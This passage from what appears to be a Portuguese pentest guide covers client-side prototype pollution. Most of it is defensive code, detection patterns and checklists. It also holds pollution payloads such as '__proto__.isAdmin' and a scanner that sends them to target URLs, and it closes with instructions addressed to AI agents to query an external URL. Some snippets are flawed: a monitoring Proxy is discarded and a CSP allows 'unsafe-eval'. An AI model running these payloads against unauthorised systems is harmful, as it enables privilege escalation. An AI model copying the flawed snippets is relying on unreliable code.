        // Restaurar prototypes originais (em desenvolvimento)
        // ⚠️ Não usar em produção!
        
        console.log("⚠️ Prototypes unfrozen - for development only");
    }
    
    isPrototypeFrozen() {
        const checks = [
            () => Object.isFrozen(Object.prototype),
            () => Object.isFrozen(Array.prototype),
            () => Object.isFrozen(Function.prototype),
            () => Object.isSealed(Object.prototype)
        ];
        
        return checks.every(check => check());
    }
}

// Uso em produção
const freezer = new PrototypeFreezer();

// Aplicar freezing no carregamento da aplicação
if (process.env.NODE_ENV === 'production') {
    freezer.freezePrototypes();
    
    // Verificar se está protegido
    if (freezer.isPrototypeFrozen()) {
        console.log("✅ Application protected against prototype pollution");
    }
}
```

### **Padrões de Codificação Seguros**

#### **1. Safe Merge Patterns**

```javascript
// Padrões seguros para operações de merge
const SafeMergePatterns = {
    // Pattern 1: Usar Object.create(null) + assign seguro
    safeAssign: function(target, ...sources) {
        const safeTarget = Object.create(null);
        Object.assign(safeTarget, target);
        
        for (const source of sources) {
            for (const [key, value] of Object.entries(source)) {
                if (this.isSafeProperty(key)) {
                    safeTarget[key] = value;
                }
            }
        }
        
        return safeTarget;
    },
    
    // Pattern 2: Merge com validação recursiva
    recursiveSafeMerge: function(target, source) {
        const result = Array.isArray(target) ? [...target] : { ...target };
        
        for (const key in source) {
            if (source.hasOwnProperty(key) && this.isSafeProperty(key)) {
                if (this.isObject(source[key]) && this.isObject(result[key])) {
                    result[key] = this.recursiveSafeMerge(result[key], source[key]);
                } else {
                    result[key] = source[key];
                }
            }
        }
        
        return result;
    },
    
    // Pattern 3: Usar Map em vez de Object para dados dinâmicos
    createSafeMap: function(data) {
        const safeMap = new Map();
        
        for (const [key, value] of Object.entries(data)) {
            if (this.isSafeProperty(key)) {
                safeMap.set(key, value);
            }
        }
        
        return safeMap;
    },
    
    // Pattern 4: JSON.parse com reviver seguro
    safeJSONParse: function(jsonString) {
        return JSON.parse(jsonString, (key, value) => {
            if (this.isSafeProperty(key)) {
                return value;
            }
            return undefined; // Remover propriedades inseguras
        });
    },
    
    // Validação de propriedades seguras
    isSafeProperty: function(key) {
        const unsafeProperties = [
            '__proto__',
            'constructor',
            'prototype',
            'hasOwnProperty',
            'isPrototypeOf',
            'propertyIsEnumerable',
            'toLocaleString',
            'toString',
            'valueOf'
        ];
        
        return !unsafeProperties.includes(key) && 
               !key.includes('__proto__') &&
               !key.includes('constructor') &&
               !key.includes('prototype');
    },
    
    isObject: function(item) {
        return item && typeof item === 'object' && !Array.isArray(item);
    }
};

// Uso dos padrões seguros
const userInput = JSON.parse('{"__proto__":{"polluted":true},"name":"John"}');

// ✅ Todos os métodos são seguros
const result1 = SafeMergePatterns.safeAssign({}, userInput);
const result2 = SafeMergePatterns.recursiveSafeMerge({}, userInput);
const result3 = SafeMergePatterns.createSafeMap(userInput);
const result4 = SafeMergePatterns.safeJSONParse(JSON.stringify(userInput));

console.log({}.polluted); // undefined - ✅ NÃO POLUÍDO
```

#### **2. Input Validation Middleware**

```javascript
// Middleware de validação para aplicações web
class PollutionProtectionMiddleware {
    constructor() {
        this.detectedAttempts = 0;
        this.maxAttempts = 10;
    }
    
    // Middleware para Express.js
    expressMiddleware() {
        return (req, res, next) => {
            try {
                // Validar query parameters
                if (req.query) {
                    this.validateObject(req.query, 'query');
                }
                
                // Validar body
                if (req.body) {
                    this.validateObject(req.body, 'body');
                }
                
                // Validar params
                if (req.params) {
                    this.validateObject(req.params, 'params');
                }
                
                next();
            } catch (error) {
                this.handlePollutionAttempt(req, res, error);
            }
        };
    }
    
    validateObject(obj, context) {
        if (typeof obj !== 'object' || obj === null) {
            return;
        }
        
        for (const key in obj) {
            if (this.isPollutionAttempt(key)) {
                this.logAttempt(key, context);
                throw new Error(`Prototype pollution attempt detected in ${context}: ${key}`);
            }
            
            // Validar recursivamente
            if (typeof obj[key] === 'object' && obj[key] !== null) {
                this.validateObject(obj[key], context);
            }
        }
    }
    
    isPollutionAttempt(key) {
        const pollutionPatterns = [
            /^__proto__$/i,
            /^constructor$/i,
            /^prototype$/i,
            /.*__proto__.*/i,
            /.*constructor.*/i,
            /.*prototype.*/i
        ];
        
        return pollutionPatterns.some(pattern => pattern.test(key));
    }
    
    logAttempt(key, context) {
        this.detectedAttempts++;
        console.warn(`🚨 Prototype pollution attempt #${this.detectedAttempts}:`, {
            key,
            context,
            timestamp: new Date().toISOString(),
            userAgent: typeof window !== 'undefined' ? window.navigator.userAgent : 'Server'
        });
        
        if (this.detectedAttempts >= this.maxAttempts) {
            console.error('🚨 Maximum pollution attempts reached - potential attack');
            // Aqui poderia bloquear o IP, etc.
        }
    }
    
    handlePollutionAttempt(req, res, error) {
        // Responder sem revelar muitos detalhes
        res.status(400).json({
            error: 'Invalid request',
            message: 'The request contains invalid parameters'
        });
        
        // Log detalhado no servidor
        console.error('Prototype pollution blocked:', {
            url: req.url,
            method: req.method,
            ip: req.ip,
            userAgent: req.get('User-Agent'),
            error: error.message
        });
    }
}

// Uso em Express.js
const protection = new PollutionProtectionMiddleware();
app.use(protection.expressMiddleware());
```

### **Configurações de Segurança**

#### **1. Content Security Policy (CSP) Reforçada**

```html
<!-- CSP para prevenir exploração de prototype pollution -->
<meta http-equiv="Content-Security-Policy" content="
    default-src 'self';
    script-src 'self' 'unsafe-eval' 'nonce-${nonce}';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    connect-src 'self';
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    block-all-mixed-content;
    upgrade-insecure-requests;
">

<script nonce="${nonce}">
    // Scripts seguros com nonce
    console.log("Safe script execution");
</script>

<script>
    // Scripts sem nonce serão bloqueados
    console.log("This will be blocked by CSP");
</script>
```

#### **2. HTTP Headers de Segurança**

```javascript
// Configuração de headers de segurança
const securityHeaders = {
    'Content-Security-Policy': "default-src 'self'; script-src 'self' 'nonce-${nonce}'; object-src 'none'",
    'X-Content-Type-Options': 'nosniff',
    'X-Frame-Options': 'DENY',
    'X-XSS-Protection': '1; mode=block',
    'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
    'Referrer-Policy': 'strict-origin-when-cross-origin',
    'Permissions-Policy': 'geolocation=(), microphone=(), camera=()'
};

// Aplicar headers em respostas
app.use((req, res, next) => {
    for (const [header, value] of Object.entries(securityHeaders)) {
        res.setHeader(header, value);
    }
    next();
});
```

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Scanner de Prototype Pollution**

```javascript
// Scanner automatizado para prototype pollution
class AutomatedPollutionScanner {
    constructor(targetUrl) {
        this.targetUrl = targetUrl;
        this.vulnerabilities = [];
        this.testPayloads = this.generateTestPayloads();
    }
    
    generateTestPayloads() {
        return [
            // Payloads básicos
            { "__proto__": { "polluted": true } },
            { "constructor": { "prototype": { "polluted": true } } },
            
            // Payloads para diferentes vectores
            JSON.parse('{"__proto__":{"polluted":true}}'),
            JSON.parse('{"constructor":{"prototype":{"polluted":true}}}'),
            
            // Payloads com diferentes notações
            { "__proto__[polluted]": true },
            { "constructor[prototype][polluted]": true },
            
            // Payloads para URL parameters
            { "__proto__.isAdmin": true },
            { "constructor.prototype.isAdmin": true }
        ];
    }
    
    async scan() {
        console.log(`Starting prototype pollution scan for: ${this.targetUrl}`);
        
        // Testar diferentes vetores de entrada
        await this.testURLParameters();
        await this.testJSONEndpoints();
        await this.testFormSubmissions();
        await this.testLocalStorage();
        
        return this.generateReport();
    }
    
    async testURLParameters() {
        console.log("Testing URL parameters...");
        
        for (const payload of this.testPayloads) {
            const url = new URL(this.targetUrl);
            
            for (const [key, value] of Object.entries(payload)) {
                url.searchParams.set(key, JSON.stringify(value));
            }
            
            try {
                const response = await fetch(url.toString());
                if (await this.checkPollutionAfterRequest()) {
                    this.vulnerabilities.push({
                        vector: 'URL Parameters',
                        payload: payload,
                        url: url.toString()
                    });
                }
            } catch (error) {
                console.log(`Error testing URL: ${error}`);
            }
            
            await this.delay(100); // Delay entre requests
        }
    }
    
    async testJSONEndpoints() {
        console.log("Testing JSON endpoints...");
        
        // Descobrir endpoints automaticamente
        const endpoints = await this.discoverEndpoints();
        
        for (const endpoint of endpoints) {
            for (const payload of this.testPayloads) {
                try {
                    const response = await fetch(endpoint, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify(payload)
                    });
                    
                    if (await this.checkPollutionAfterRequest()) {
                        this.vulnerabilities.push({
                            vector: 'JSON Endpoint',
                            endpoint: endpoint,
                            payload: payload
                        });
                    }
                } catch (error) {
                    console.log(`Error testing endpoint ${endpoint}: ${error}`);
                }
                
                await this.delay(100);
            }
        }
    }
    
    async discoverEndpoints() {
        // Descobrir endpoints automaticamente
        // Esta é uma implementação simplificada
        const commonEndpoints = [
            '/api/user',
            '/api/data',
            '/api/config',
            '/api/settings',
            '/graphql',
            '/rest'
        ];
        
        const discovered = [];
        
        for (const endpoint of commonEndpoints) {
            const url = new URL(endpoint, this.targetUrl);
            try {
                const response = await fetch(url.toString());
                if (response.ok) {
                    discovered.push(url.toString());
                }
            } catch (error) {
                // Endpoint não existe ou não responde
            }
        }
        
        return discovered;
    }
    
    async checkPollutionAfterRequest() {
        // Verificar se ocorreu poluição após a request
        return new Promise((resolve) => {
            setTimeout(() => {
                const isPolluted = (
                    {}.polluted === true ||
                    {}.isAdmin === true ||
                    Object.prototype.polluted === true
                );
                
                // Limpar após verificação
                delete Object.prototype.polluted;
                delete Object.prototype.isAdmin;
                
                resolve(isPolluted);
            }, 500);
        });
    }
    
    async testFormSubmissions() {
        console.log("Testing form submissions...");
        // Implementar teste de forms
    }
    
    async testLocalStorage() {
        console.log("Testing localStorage...");
        // Implementar teste de localStorage
    }
    
    delay(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    
    generateReport() {
        return {
            target: this.targetUrl,
            scanDate: new Date().toISOString(),
            vulnerabilitiesFound: this.vulnerabilities.length,
            vulnerabilities: this.vulnerabilities,
            riskLevel: this.calculateRiskLevel(),
            recommendations: this.generateRecommendations()
        };
    }
    
    calculateRiskLevel() {
        if (this.vulnerabilities.length > 0) {
            return 'HIGH';
        }
        return 'LOW';
    }
    
    generateRecommendations() {
        return [
            'Implement object sanitization before merge operations',
            'Use Object.create(null) for user-controlled objects',
            'Freeze prototypes in production',
            'Use safe alternatives to vulnerable libraries',
            'Implement CSP headers',
            'Validate all user input'
        ];
    }
}

// Uso
const scanner = new AutomatedPollutionScanner('https://example.com');
scanner.scan().then(report => {
    console.log('Scan report:', report);
});
```

#### **2. Ferramentas Especializadas**

```bash
# Scanner de prototype pollution
npx prototype-pollution-scanner https://example.com

# Ferramenta CLI para teste
npm install -g pp-scanner
pp-scanner --url https://example.com --detailed

# Integração com Burp Suite
# Extensão: "Prototype Pollution Scanner"

# Ferramentas de análise estática
npm audit --audit-level high
snyk test
```

### **Testes Manuais**

#### **1. Console de Teste Interativo**

```javascript
// Console interativo para teste manual
class InteractivePollutionTester {
    constructor() {
        this.setupConsole();
    }
    
    setupConsole() {
        // Expor métodos de teste no console
        window.testPollution = this.testPollution.bind(this);
        window.checkPollution = this.checkPollution.bind(this);
        window.cleanupPollution = this.cleanupPollution.bind(this);
        
        console.log(`
🎯 Prototype Pollution Testing Console

Available commands:
• testPollution(payload) - Test a pollution payload
• checkPollution() - Check current pollution state
• cleanupPollution() - Clean all pollution

Example:
testPollution({ "__proto__": { "isAdmin": true } })
        `);
    }
    
    testPollution(payload) {
        console.log('🧪 Testing payload:', payload);
        
        try {
            // Aplicar payload
            Object.assign({}, payload);
            
            // Verificar poluição
            const isPolluted = this.checkPollution();
            
            if (isPolluted) {
                console.log('⚠️  PAYLOAD SUCCESSFUL - Prototype polluted!');
                this.reportPollution(payload);
            } else {
                console.log('✅ Payload blocked - No pollution detected');
            }
            
            return isPolluted;
        } catch (error) {
            console.log('❌ Error testing payload:', error);
            return false;
        }
    }
    
    checkPollution() {
        const checks = {
            'Object.prototype': this.checkObjectPrototype(),
            'Array.prototype': this.checkArrayPrototype(),
            'Function.prototype': this.checkFunctionPrototype()
        };
        
        const polluted = Object.values(checks).some(result => result.polluted);
        
        if (polluted) {
            console.log('🚨 CURRENT POLLUTION STATE:');
            for (const [proto, result] of Object.entries(checks)) {
                if (result.polluted) {
                    console.log(`   ${proto}:`, result.properties);
                }
            }
        } else {
            console.log('✅ No prototype pollution detected');
        }
        
        return polluted;
    }
    
    checkObjectPrototype() {
        const pollutedProperties = [];
        
        for (const prop in Object.prototype) {
            if (Object.prototype.hasOwnProperty(prop)) {
                pollutedProperties.push(prop);
            }
        }
        
        return {
            polluted: pollutedProperties.length > 0,
            properties: pollutedProperties
        };
    }
    
    checkArrayPrototype() {
        const pollutedProperties = [];
        
        for (const prop in Array.prototype) {
            if (Array.prototype.hasOwnProperty(prop)) {
                pollutedProperties.push(prop);
            }
        }
        
        return {
            polluted: pollutedProperties.length > 0,
            properties: pollutedProperties
        };
    }
    
    checkFunctionPrototype() {
        const pollutedProperties = [];
        
        for (const prop in Function.prototype) {
            if (Function.prototype.hasOwnProperty(prop)) {
                pollutedProperties.push(prop);
            }
        }
        
        return {
            polluted: pollutedProperties.length > 0,
            properties: pollutedProperties
        };
    }
    
    reportPollution(payload) {
        console.log('📊 POLLUTION ANALYSIS:');
        console.log('   Payload:', payload);
        console.log('   Affected prototypes:');
        
        if ({}.polluted) console.log('     - Object.prototype');
        if ([].polluted) console.log('     - Array.prototype');
        if (function() {}.polluted) console.log('     - Function.prototype');
        
        // Sugerir explorações
        this.suggestExploitations();
    }
    
    suggestExploitations() {
        console.log('💡 SUGGESTED EXPLOITATIONS:');
        
        if ({}.isAdmin) {
            console.log('   • Privilege escalation: {}.isAdmin =', {}.isAdmin);
        }
        
        if ({}.innerHTML) {
            console.log('   • XSS via innerHTML');
        }
        
        if ({}.eval) {
            console.log('   • Code execution via eval');
        }
        
        if ({}.fetch) {
            console.log('   • API manipulation via fetch');
        }
    }
    
    cleanupPollution() {
        console.log('🧹 Cleaning up pollution...');
        
        let cleaned = 0;
        
        // Limpar Object.prototype
        for (const prop in Object.prototype) {
            if (Object.prototype.hasOwnProperty(prop)) {
                delete Object.prototype[prop];
                cleaned++;
            }
        }
        
        // Limpar Array.prototype
        for (const prop in Array.prototype) {
            if (Array.prototype.hasOwnProperty(prop)) {
                delete Array.prototype[prop];
                cleaned++;
            }
        }
        
        // Limpar Function.prototype
        for (const prop in Function.prototype) {
            if (Function.prototype.hasOwnProperty(prop)) {
                delete Function.prototype[prop];
                cleaned++;
            }
        }
        
        console.log(`✅ Cleaned ${cleaned} polluted properties`);
    }
}

// Inicializar automaticamente
const pollutionTester = new InteractivePollutionTester();
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Prototype Pollution**

* [ ] **Sanitização de Objetos**
  * [ ] Validar todas as chaves de objeto antes do merge
  * [ ] Bloquear `__proto__`, `constructor`, `prototype`
  * [ ] Usar `Object.create(null)` para objetos de usuário
  * [ ] Implementar merge functions seguras
* [ ] **Configuração de Ambiente**
  * [ ] Congelar prototypes em produção
  * [ ] Usar CSP headers com nonces
  * [ ] Implementar validação de entrada em todas as camadas
  * [ ] Atualizar bibliotecas vulneráveis
* [ ] **Desenvolvimento Seguro**
  * [ ] Usar Map/Set em vez de Object para dados dinâmicos
  * [ ] Implementar safe JSON parsing
  * [ ] Validar URL parameters e search params
  * [ ] Usar type checking (TypeScript)
* [ ] **Monitoramento e Resposta**
  * [ ] Logar tentativas de prototype pollution
  * [ ] Monitorar mudanças em prototypes
  * [ ] Implementar rate limiting
  * [ ] Ter plano de resposta a incidentes

### **Checklist de Auditoria**

* [ ] **Teste de Vetores de Entrada**
  * [ ] Testar URL parameters e search params
  * [ ] Testar JSON endpoints
  * [ ] Testar form submissions
  * [ ] Testar WebSocket messages
  * [ ] Testar localStorage/sessionStorage
* [ ] **Análise de Código**
  * [ ] Revisar operações de merge/clone/assign
  * [ ] Verificar uso de bibliotecas vulneráveis
  * [ ] Analisar funções de parse/stringify
  * [ ] Checar validação de entrada
* [ ] **Teste de Exploração**
  * [ ] Testar payloads básicos de poluição
  * [ ] Verificar impacto em diferentes componentes
  * [ ] Testar combinação com outras vulnerabilidades
  * [ ] Validar eficácia das proteções

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitorar propriedades inesperadas em prototypes
  * [ ] Alertar para tentativas de poluição
  * [ ] Detectar comportamentos anômalos
  * [ ] Identificar usuários maliciosos
* [ ] **Contenção**
  * [ ] Limpar prototypes contaminados
  * [ ] Bloquear IPs/usuários maliciosos
  * [ ] Reverter para backups limpos
  * [ ] Implementar patches temporários
* [ ] **Correção**
  * [ ] Corrigir código vulnerável
  * [ ] Implementar proteções adequadas
  * [ ] Atualizar bibliotecas
  * [ ] Realizar auditoria de segurança

***

## 📊 **Exemplos de Implementação Segura**

### **Sistema Completo de Proteção**

```javascript
// Sistema abrangente de proteção contra prototype pollution
class ComprehensivePollutionProtection {
    constructor() {
        this.isProduction = process.env.NODE_ENV === 'production';
        this.setupProtection();
    }
    
    setupProtection() {
        // 1. Freezing de prototypes em produção
        if (this.isProduction) {
            this.freezePrototypes();
        }
        
        // 2. Hook de funções perigosas
        this.hookDangerousFunctions();
        
        // 3. Monitoring de prototypes
        this.setupPrototypeMonitoring();
        
        // 4. Sanitização global
        this.setupGlobalSanitization();
    }
    
    freezePrototypes() {
        try {
            const prototypes = [
                Object.prototype,
                Array.prototype,
                Function.prototype,
                String.prototype,
                Number.prototype,
                Boolean.prototype,
                Date.prototype,
                RegExp.prototype
            ];
            
            prototypes.forEach(proto => {
                Object.freeze(proto);
                Object.seal(proto);
                Object.preventExtensions(proto);
            });
            
            console.log('✅ All prototypes frozen');
        } catch (error) {
            console.warn('⚠️ Could not freeze all prototypes:', error);
        }
    }
    
    hookDangerousFunctions() {
        // Hook em Object.assign
        const originalAssign = Object.assign;
        Object.assign = (target, ...sources) => {
            const safeTarget = this.sanitizeObject(target);
            const safeSources = sources.map(source => this.sanitizeObject(source));
            return originalAssign(safeTarget, ...safeSources);
        };
        
        // Hook em JSON.parse
        const originalParse = JSON.parse;
        JSON.parse = (text, reviver) => {
            return originalParse(text, (key, value) => {
                if (this.isDangerousKey(key)) {
                    console.warn(`🚨 Blocked dangerous key in JSON: ${key}`);
                    return undefined;
                }
                return reviver ? reviver(key, value) : value;
            });
        };
        
        console.log('✅ Dangerous functions hooked');
    }
    
    setupPrototypeMonitoring() {
        // Monitorar mudanças nos prototypes
        const handler = {
            set(target, property, value) {
                if (ComprehensivePollutionProtection.isDangerousProperty(property)) {
                    console.warn(`🚨 Prototype pollution attempt: ${String(property)}`);
                    return false; // Bloquear a operação
                }
                return Reflect.set(...arguments);
            },
            defineProperty(target, property, descriptor) {
                if (ComprehensivePollutionProtection.isDangerousProperty(property)) {
                    console.warn(`🚨 Prototype pollution attempt: ${String(property)}`);
                    return false;
                }
                return Reflect.defineProperty(...arguments);
            }
        };
        
        const prototypes = [Object.prototype, Array.prototype, Function.prototype];
        prototypes.forEach(proto => {
            if (!Object.isFrozen(proto)) {
                new Proxy(proto, handler);
            }
        });
        
        console.log('✅ Prototype monitoring active');
    }
    
    setupGlobalSanitization() {
        // Sanitização global para objetos
        window.SafeObject = {
            create: (obj = {}) => {
                const safeObj = Object.create(null);
                return Object.assign(safeObj, this.sanitizeObject(obj));
            },
            
            assign: (target, ...sources) => {
                const safeTarget = this.sanitizeObject(target);
                const safeSources = sources.map(source => this.sanitizeObject(source));
                return Object.assign(safeTarget, ...safeSources);
            },
            
            merge: (target, source) => {
                return this.safeMerge(target, source);
            }
        };
        
        console.log('✅ Global sanitization setup complete');
    }
    
    sanitizeObject(obj) {
        if (obj === null || typeof obj !== 'object') {
            return obj;
        }
        
        if (Array.isArray(obj)) {
            return obj.map(item => this.sanitizeObject(item));
        }
        
        if (Object.getPrototypeOf(obj) === null) {
            // Já é um objeto seguro
            return obj;
        }
        
        const sanitized = Object.create(null);
        
        for (const [key, value] of Object.entries(obj)) {
            if (this.isSafeKey(key)) {
                sanitized[key] = this.sanitizeObject(value);
            }
        }
        
        return sanitized;
    }
    
    safeMerge(target, source) {
        const safeTarget = this.sanitizeObject(target);
        const safeSource = this.sanitizeObject(source);
        
        for (const key in safeSource) {
            if (safeSource.hasOwnProperty(key)) {
                if (this.isObject(safeSource[key]) && this.isObject(safeTarget[key])) {
                    this.safeMerge(safeTarget[key], safeSource[key]);
                } else {
                    safeTarget[key] = safeSource[key];
                }
            }
        }
        
        return safeTarget;
    }
    
    static isDangerousProperty(property) {
        const dangerous = ['__proto__', 'constructor', 'prototype'];
        return dangerous.includes(String(property)) || 
               String(property).includes('__proto__') ||
               String(property).includes('constructor') ||
               String(property).includes('prototype');
    }
    
    isSafeKey(key) {
        return !this.constructor.isDangerousProperty(key);
    }
    
    isObject(item) {
        return item && typeof item === 'object' && !Array.isArray(item);
    }
}

// Inicialização da proteção
const pollutionProtection = new ComprehensivePollutionProtection();

// Uso seguro
const userInput = { "__proto__": { "polluted": true }, "name": "John" };
const safeObj = SafeObject.create(userInput);

console.log(safeObj); // { name: "John" }
console.log({}.polluted); // undefined - ✅ SEGURO
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Prototype Pollution**

* ❌ "Prototype pollution só afeta servidores" → **FALSO** (client-side é muito comum)
* ❌ "JSON.parse é seguro" → **FALSO** (JSON.parse pode causar poluição)
* ❌ "Só frameworks antigos são vulneráveis" → **FALSO** (novas aplicações também são afetadas)
* ❌ "CSP previne prototype pollution" → **FALSO** (CSP ajuda mas não previne a poluição)

### **Boas Práticas Essenciais**

1. **Sanitização Rigorosa**: Sempre validar objetos antes de operações de merge
2. **Objetos Sem Prototype**: Usar `Object.create(null)` para dados do usuário
3. **Freezing em Produção**: Congelar prototypes em ambientes de produção
4. **Atualização Constante**: Manter bibliotecas atualizadas
5. **Monitoramento Proativo**: Detectar tentativas de poluição
6. **Defesa em Profundidade**: Múltiplas camadas de proteção

### **Referências e Padrões**

* OWASP Prototype Pollution Prevention
* ECMAScript Specification
* CVE Database for prototype pollution vulnerabilities
* Framework-specific security guides

**🔐 Lembre-se**: Prototype pollution é uma vulnerabilidade poderosa que pode levar a múltiplos tipos de ataques. Implemente proteções em todas as camadas e teste regularmente suas aplicações contra essa ameaça.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/client-side-prototype-pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
